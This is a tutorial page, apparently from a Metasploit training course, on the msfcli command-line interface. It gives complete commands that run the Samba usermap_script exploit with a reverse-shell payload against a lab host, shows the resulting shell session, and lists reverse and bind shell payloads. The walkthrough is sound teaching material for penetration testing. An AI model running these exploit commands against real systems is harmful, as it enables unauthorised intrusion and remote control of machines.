Msfcli Tutorial a11y.text Msfcli Tutorial What is the MSFcli? a11y.text What is the MSFcli? TheÂ msfcli provides a powerful command line interface to the framework. This allows you to easily add Metasploit exploits into any scripts you may create. Note: As of 2015-06-18 msfcli has been removed. One way to obtain similar functionality through msfconsole is by using the -x option. For example, the following command sets all the options for samba/usermap_script and runs it against a target:

```
root@kali : ~ # msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"
```

Command Line Interface Commands a11y.text Command Line Interface Commands Running the msfcli help command:

```
root@kali : ~ # msfcli -h Usage: /usr/bin/msfcli<option=value> [mode]
============================================================

   Mode           Description
   ----           -----------
   (A)dvanced     Show available advanced options for this module
   (AC)tions      Show available actions for this auxiliary module
   (C)heck        Run the check routine of the selected module
   (E)xecute      Execute the selected module
   (H)elp         You're looking at it baby!
   (I)DS Evasion  Show available ids evasion options for this module
   (O)ptions      Show available options for this module
   (P)ayloads     Show available payloads for this module
   (S)ummary      Show information about this module
   (T)argets      Show available targets for this exploit module
```

Examples:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E

msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E Note: when using msfcli, variables are assigned using the â€œequal toâ€• operatorÂ = and that all options are case-sensitive. root@kali : ~ # msfcli exploit/multi/samba/usermap_script RHOST = 172.16 .194.172 PAYLOAD = cmd/unix/reverse LHOST = 172.16 .194.163 E [*] Please wait while we load the module tree...

```
          ##                 ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                          ##



    =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
    =[ svn r15767 updated today (2012.08.22)


RHOST => 172.16.194.172
PAYLOAD > cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at
2012-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux If
you arenâ€™t entirely sure about what options belong to a particular module, you can append the
letter O to the end of the string at whichever point you are stuck. root@kali : ~ # msfcli
exploit/multi/samba/usermap_script O [*] Initializing modules...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port To display available payloadsÂ for the current
module, append the letter P to the msfcli command line string. root@kali : ~ # msfcli
exploit/multi/samba/usermap_script P [*]Initializing modules...

Compatible payloads
```

```
==================

   Name                            Description
   ----                            -----------
   cmd/unix/bind_awk                  Listen for a connection and spawn a command shell via GNU AWK
   cmd/unix/bind_inetd                Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_lua                  Listen for a connection and spawn a command shell via Lua
   cmd/unix/bind_netcat               Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_gaping        Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_netcat_gaping_ipv6   Listen for a connection and spawn a command shell via
netcat
   cmd/unix/bind_perl                 Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_perl_ipv6            Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_ruby                 Continually listen for a connection and spawn a command shell via
Ruby
   cmd/unix/bind_ruby_ipv6            Continually listen for a connection and spawn a command shell
via Ruby
   cmd/unix/bind_zsh
        Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
        often available, please be aware it isn't usually installed by default.

   cmd/unix/generic                   Executes the supplied command
   cmd/unix/reverse                   Creates an interactive shell through two inbound connections
   cmd/unix/reverse_awk               Creates an interactive shell via GNU AWK
   cmd/unix/reverse_lua               Creates an interactive shell via Lua
   cmd/unix/reverse_netcat            Creates an interactive shell via netcat
```

cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat

cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections

cmd/unix/reverse_perl Creates an interactive shell via perl

cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL

cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL

cmd/unix/reverse_python Connect back and create a command shell via Python

cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.

cmd/unix/reverse_ruby Connect back and create a command shell via Ruby

cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL

cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option

cmd/unix/reverse_zsh

Connect back and create a command shell via Zsh. Note: Although Zsh is often

available, please be aware it isn't usually installed by default. Benefits of the MSFcli Interface a11y.text Benefits of the MSFcli Interface Supports the launching of exploits and auxiliary modules Useful for specific tasks Good for learning Convenient to use when testing or developing a new exploit Good tool for one-off exploitation Excellent if you know exactly which exploit and options you need Wonderful for use in scripts and basic automation The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesnâ€™t support any of the advanced automation features of msfconsole . Next Msfconsole Prev Metasploit Fundamentals